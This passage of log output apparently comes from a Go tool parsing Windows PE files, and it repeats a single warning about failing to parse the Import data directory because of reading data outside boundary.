reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: 